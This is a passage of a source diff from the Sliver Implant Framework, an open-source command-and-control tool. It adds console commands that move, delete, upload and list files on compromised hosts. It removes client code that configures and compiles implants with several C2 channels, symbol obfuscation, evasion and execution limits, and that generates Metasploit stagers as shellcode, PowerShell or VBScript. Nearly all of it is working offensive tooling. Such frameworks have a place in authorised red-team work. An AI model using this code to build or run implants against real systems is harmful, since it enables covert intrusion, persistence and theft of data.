session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PwdCmd - Print the remote working directory
|
||||
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPwd - Print the remote working directory
|
||||
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
|
||||
if pwd.Response != nil && pwd.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pwd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RmCmd - Remove a directory from the remote file system
|
||||
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if rm.Response != nil && rm.Response.Async {
|
||||
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, rm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRm(rm, con)
|
||||
})
|
||||
con.PrintAsyncResponse(rm.Response)
|
||||
} else {
|
||||
PrintRm(rm, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRm - Print the rm response
|
||||
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
|
||||
if rm.Response != nil && rm.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rm.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", rm.Path)
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
return
|
||||
}
|
||||
|
||||
src, _ := filepath.Abs(localPath)
|
||||
_, err := os.Stat(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if remotePath == "" {
|
||||
fileName := filepath.Base(src)
|
||||
remotePath = fileName
|
||||
}
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if upload.Response != nil && upload.Response.Async {
|
||||
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, upload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUpload(upload, con)
|
||||
})
|
||||
con.PrintAsyncResponse(upload.Response)
|
||||
} else {
|
||||
PrintUpload(upload, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintUpload - Print the result of the upload command
|
||||
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
|
||||
if upload.Response != nil && upload.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", upload.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
@@ -1,816 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
"darwin/amd64": true,
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
validFormats = []string{
|
||||
"bash",
|
||||
"c",
|
||||
"csharp",
|
||||
"dw",
|
||||
"dword",
|
||||
"hex",
|
||||
"java",
|
||||
"js_be",
|
||||
"js_le",
|
||||
"num",
|
||||
"perl",
|
||||
"pl",
|
||||
"powershell",
|
||||
"ps1",
|
||||
"py",
|
||||
"python",
|
||||
"raw",
|
||||
"rb",
|
||||
"ruby",
|
||||
"sh",
|
||||
"vbapplication",
|
||||
"vbscript",
|
||||
}
|
||||
)
|
||||
|
||||
func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
config := parseCompileFlags(ctx)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, rpc)
|
||||
}
|
||||
|
||||
func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn+"Invalid implant name, see `help %s`\n", consts.RegenerateStr)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
|
||||
regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
|
||||
return
|
||||
}
|
||||
if regenerate.File == nil {
|
||||
fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
|
||||
return
|
||||
}
|
||||
saveTo, err := saveLocation(save, regenerate.File.Name)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write to %s\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
|
||||
}
|
||||
|
||||
func saveLocation(save, defaultName string) (string, error) {
|
||||
var saveTo string
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
log.Printf("%s does not exist\n", save)
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
_, err := os.Stat(saveTo)
|
||||
if os.IsNotExist(err) {
|
||||
os.MkdirAll(saveDir, 0700)
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
} else {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, defaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return "", errors.New("File already exists")
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
}
|
||||
return saveTo, nil
|
||||
}
|
||||
|
||||
func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
var stageProto clientpb.StageProtocol
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
if lhost == "" {
|
||||
fmt.Println(Warn + "please specify a listening host")
|
||||
return
|
||||
}
|
||||
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !match {
|
||||
addr, err := net.LookupHost(lhost)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
|
||||
return
|
||||
}
|
||||
if len(addr) > 1 {
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an address",
|
||||
Options: addr,
|
||||
}
|
||||
err := survey.AskOne(prompt, &lhost)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lhost = addr[0]
|
||||
}
|
||||
}
|
||||
lport := ctx.Flags.Int("lport")
|
||||
stageOS := ctx.Flags.String("os")
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
|
||||
switch proto {
|
||||
case "tcp":
|
||||
stageProto = clientpb.StageProtocol_TCP
|
||||
case "http":
|
||||
stageProto = clientpb.StageProtocol_HTTP
|
||||
case "https":
|
||||
stageProto = clientpb.StageProtocol_HTTPS
|
||||
default:
|
||||
fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
fmt.Println(Info + "Here's your stager:")
|
||||
fmt.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if ctx.Flags["name"] != nil {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
if ctx.Flags.Bool("debug") {
|
||||
symbolObfuscation = false
|
||||
} else {
|
||||
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
|
||||
}
|
||||
|
||||
if len(mtlsC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
fmt.Printf(Warn + "Must specify at least one of --mtls, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
rawCanaries := ctx.Flags.String("canary")
|
||||
canaryDomains := []string{}
|
||||
if 0 < len(rawCanaries) {
|
||||
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
|
||||
if !strings.HasSuffix(canaryDomain, ".") {
|
||||
canaryDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
canaryDomains = append(canaryDomains, canaryDomain)
|
||||
}
|
||||
}
|
||||
|
||||
reconnectInterval := ctx.Flags.Int("reconnect")
|
||||
maxConnectionErrors := ctx.Flags.Int("max-errors")
|
||||
|
||||
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
|
||||
limitHostname := ctx.Flags.String("limit-hostname")
|
||||
limitUsername := ctx.Flags.String("limit-username")
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
var configFormat clientpb.ImplantConfig_OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
configFormat = clientpb.ImplantConfig_EXECUTABLE
|
||||
case "shared":
|
||||
configFormat = clientpb.ImplantConfig_SHARED_LIB
|
||||
isSharedLib = true
|
||||
case "shellcode":
|
||||
configFormat = clientpb.ImplantConfig_SHELLCODE
|
||||
isShellcode = true
|
||||
case "service":
|
||||
configFormat = clientpb.ImplantConfig_SERVICE
|
||||
isService = true
|
||||
default:
|
||||
// default to exe
|
||||
configFormat = clientpb.ImplantConfig_EXECUTABLE
|
||||
}
|
||||
|
||||
targetOS := strings.ToLower(ctx.Flags.String("os"))
|
||||
arch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOS, arch = getTargets(targetOS, arch)
|
||||
if targetOS == "" || arch == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: arch,
|
||||
Name: name,
|
||||
Debug: ctx.Flags.Bool("debug"),
|
||||
Evasion: ctx.Flags.Bool("evasion"),
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
|
||||
ReconnectInterval: uint32(reconnectInterval),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
|
||||
LimitDomainJoined: limitDomainJoined,
|
||||
LimitHostname: limitHostname,
|
||||
LimitUsername: limitUsername,
|
||||
LimitDatetime: limitDatetime,
|
||||
LimitFileExists: limitFileExists,
|
||||
|
||||
Format: configFormat,
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
func getTargets(targetOS string, targetArch string) (string, string) {
|
||||
|
||||
/* For UX we convert some synonymous terms */
|
||||
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
|
||||
targetOS = "darwin"
|
||||
}
|
||||
if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
|
||||
targetOS = "windows"
|
||||
}
|
||||
if targetOS == "linux" || targetOS == "lin" {
|
||||
targetOS = "linux"
|
||||
}
|
||||
|
||||
if targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
|
||||
targetArch = "amd64"
|
||||
}
|
||||
if targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
|
||||
targetArch = "386"
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Unsupported compiler target %s, try to build anyways?", target),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return "", ""
|
||||
}
|
||||
}
|
||||
|
||||
return targetOS, targetArch
|
||||
}
|
||||
|
||||
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "mtls"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse c2 URL %v", err)
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
uri = &url.URL{Scheme: "https"} // HTTPS is the default, will fallback to HTTP
|
||||
uri.Host = arg
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "dns"}
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
// Make sure we have the FQDN
|
||||
if !strings.HasSuffix(arg, ".") {
|
||||
arg += "."
|
||||
}
|
||||
if strings.HasPrefix(arg, ".") {
|
||||
arg = arg[1:]
|
||||
}
|
||||
|
||||
uri.Host = arg
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri, err := url.Parse("namedpipe://" + arg)
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return c2s
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
|
||||
uri := url.URL{Scheme: "tcppivot"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" && 1 <= len(ctx.Args) {
|
||||
name = ctx.Args[0]
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
profile := getImplantProfileByName(rpc, name)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, save, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
profile.Config.Name = buildImplantName(implantFile.Name)
|
||||
_, err = rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"could not update implant profile: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
fmt.Printf(Warn+"No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
|
||||
|
||||
fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
|
||||
if config.ObfuscateSymbols {
|
||||
